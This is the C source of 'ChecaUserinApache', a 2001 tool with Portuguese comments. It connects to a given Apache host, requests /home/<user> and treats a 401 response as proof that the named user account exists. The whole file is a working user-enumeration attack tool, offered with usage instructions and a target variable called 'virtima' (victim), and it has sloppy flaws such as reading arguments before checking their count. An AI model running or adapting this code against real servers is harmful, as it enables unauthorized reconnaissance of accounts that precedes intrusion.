ChecaUserinApache - A utility that makes use of the 401 error page in Apache to verify whether or not a user exists on that system.
f782346edd5e4475676609957846986e06446f7b0f216ae03da366c69e76a8f8
/* ChecaUserinApache (c)oded by m4rc3l0 in 09/2001 *
* *
* Compile com: gcc -o cuinapache cuinapache.c *
* Uso: ./cuinapache <host> <porta> <usuario> *
* Exe: ./cuinapache localhost 80 m4rc3l0 *
* *
* Agrdz: BashX, sinner, seed, decodi, roadhouse, *
* eSc2, m4st, hts, damita, mor_PH_eus, r0ot(brw), *
* #dnh #esfinge #feanor @ BRASNET */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define MAX 1024
#define ERRO -1
#define VERDE
"\033[32m\033[01m"
#define VERME "\033[0m\033[33m"
#define AZUL "\033[34m\033[01m"
#define NORMAL "\033[0m"
void logo ()
{
printf ("%s:: %sChecaUserinApache (c)oded by m4rc3l0%s\n", VERDE, AZUL, NORMAL);
}
int main (int argc, char *argv[])
{
int MySock, porta, nb;
char enviar[MAX], receber[MAX], *host, *user;
struct in_addr addr;
struct sockaddr_in virtima;
struct hostent *he;
host = argv[1];
porta = atoi (argv[2]);
user = argv[3];
logo ();
if (argc != 4)
{
printf ("%s:: %sUse: %s <host> <porta> <user>%s\n", VERDE, AZUL, argv[0], NORMAL);
printf ("%s:: %sExe: %s localhost 80 m4rc3l0%s\n", VERDE, AZUL, argv[0], NORMAL);
exit (ERRO);
}
if ((he = gethostbyname (argv[1])) == NULL)
{
printf("%s:: %shost error%s\n", VERME, AZUL, NORMAL);
exit(ERRO);
}
MySock = socket (AF_INET, SOCK_STREAM, 0);
bcopy (he->h_addr, (char *)&virtima.sin_addr, he->h_length);
virtima.sin_family = AF_INET;
virtima.sin_port = htons (porta);
printf("%s:: %sTentando conectar em: %s:%d%s\n", VERDE, AZUL, host, porta, NORMAL);
if (connect (MySock, (struct sockaddr *) &virtima, sizeof (virtima)) != 0)
{
printf("%s:: %sconnect error%s\n", VERME, AZUL, NORMAL);
exit (ERRO);
}
else
{
sleep (2);
printf("%s:: %sEnviando requisicao de: %s%s\n", VERDE, AZUL, user, NORMAL);
sprintf (enviar, "GET /home/%s", user);
if(send (MySock, enviar, sizeof(enviar), 0) < 0) {
printf("%s:: %swrite error%s\n", VERME, AZUL, NORMAL);
exit(ERRO);
}
else {
recv(MySock, receber, sizeof(receber), 0);
if(strstr(receber, "401")) {
printf("%s:: %sUsuario: %s achado%s\n", VERDE, AZUL, user, NORMAL);
}
else {
printf("%s:: %sUsuario: %s %sNAO %sachado%s\n", VERDE, AZUL, user, VERME, AZUL, NORMAL);
printf("%s:: %sou este apache nao e vulneravel%s\n", VERDE, AZUL, NORMAL);
}
}
close (MySock);
}
}